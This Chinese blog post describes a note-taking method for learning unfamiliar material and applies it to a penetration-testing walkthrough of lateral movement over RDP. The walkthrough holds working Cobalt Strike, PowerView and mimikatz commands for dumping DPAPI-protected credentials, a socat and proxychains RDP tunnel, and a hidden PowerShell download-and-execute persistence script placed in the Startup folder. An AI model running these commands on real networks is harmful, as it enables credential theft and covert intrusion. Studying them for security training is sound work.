遇到陌生领域的知识,先别管它什么意思。首要任务是提取出对象,再关注它们的逻辑关系,形成知识网络。
所有知识它都有一个共性,首先是有什么,然后是跟你讲故事,告诉你它们都怎么了。
现实举例:什么是角膜?角膜就是人们俗称的"黑眼珠",位于眼球的正前方,形似圆球体的半透明部分。
就是角膜,黑眼珠,眼球正前方。 这样就简洁 高效 容易理解了。 前提是配合原文一起体会。
不管我们使用什么方法和心得,目的都是理解他说的啥意思,才能进一步学习。当此法不能帮助你理解性的提升时,请留神,哪里存在问题了。
让我们来进一步讨论这种学习方式,本文才用资料为,渗透测试中的攻击步骤,横移中的一个案例来BB,请见文末参考资料:利用RDP跳跃网络隔离
所谓横移就是,钱在主卧室,你从厕所进去的。怎么从厕所到主卧室,就是横移。
阅读介绍网络拓扑:jump box secret network 工作站 RDP 互联网 攻击者
局域网 10.0.0.0/16 rasta-lan.local 秘密网 172.16.0.0/24 secret-lan.local
攻击者通过互联网到工作站,从工作站用远程桌面到jump box,再用远程到秘密网络
阅读假设违反查询哪些用户/组有RDP权限 Jump Box Users
powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"查询一下Jump Box Users的成员名字
powerpick Get-NetGroupMember -GroupName "Jump Box Users"rasta_mouse Jump Box Users MemberName rasta_mouse_adm
根据以上知识结晶,就可以配合原文的理解,编制一下自己的知识网络了:攻击者通过互联网进入工作站首先有一个rasta_mouse账户,在该账户下运行命令,查出Jump Box Users组有RDP权限,再查该组还有什么成员,得到rasta_mouse_adm。那么我们就需要从rasta_mouse_adm的账户进行RDP进入下一步。
凭证管理和DPAPI查询凭证
shell vaultcmd /listcreds:"Windows Credentials" /all凭据存储在users目录中C:\Users\AppData\Local\Microsoft\Credentials* 查询它们
powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force再查第一条结果
mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0pbData guidMasterKey 加密数据和解密需要的关键数据
LSASS SeDebugPrivilege 缓存密钥与SeDeDebug权限
mimikatz !sekurlsa::dpapi拿到guidMasterKey
Cobalt Strike运行mimikatz的兼容性表现不佳,手动使用它解密
mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b RDP01设置自己的团队服务器 在RDP跳转前,先打通命令与控制的通道。设置SOCKS代理。远程自己的服务器,就等于直接远程目标主机,这里就需要设置代理来实现流量的跳转。 我给你钱让你帮忙把钱给到我朋友那里,你拿到钱把钱给到了我的朋友,就等于我的钱直接到了朋友那里。
beacon> socks 1337安装socat & proxychains 修改proxychains.conf 127.0.0.1:1337 运行socat与proxychains的命令
proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389监听3389流量,重定向到10.0.0.100:3389
SSH进入自己的团队服务器,任何使用3389的流量都到了10.0.0.100:3389。 攻击者到互联网中自己的服务器,通过socks代理,将3389流量重定向到目标工作站。你连接自己的服务器,就跳转了一下到目标的工作站的远程端口上面。
使用自己的电脑发起C2指令,我们通过rasta_mouse_adm账户进入到了jump box网络环境里了。
坚持(持久性)设置一个持久性元素,当账户的主人登陆时,获得SMB Beacon,关于SMB Beacon可阅读文末参考资料:SMB Beacon 这是一个非常简单的例子:
创建无阶段PowerShell SMB Beacon有效负载。 将它托管在您的Teamserver(网络传送)上/smb。 Reverse Port Foward在我们当前的灯塔上创建一个- >rportfwd 8080 178.62.56.134 80 C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat使用以下内容创建:powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))" 注销RDP会话。创建有效载荷,放到自己团队服务器上/smb,设置反向端口转发。
当真正的用户登录时,我们会在我们的博客中看到一个消息。
进入secret网络手法一样,设置RDP跳转。
参考资料: 利用RDP跳跃网络隔离:https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/ SMB Beacon:https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/第三节[SMB Beacon].md
转载于:https://www.cnblogs.com/sec875/p/11495200.html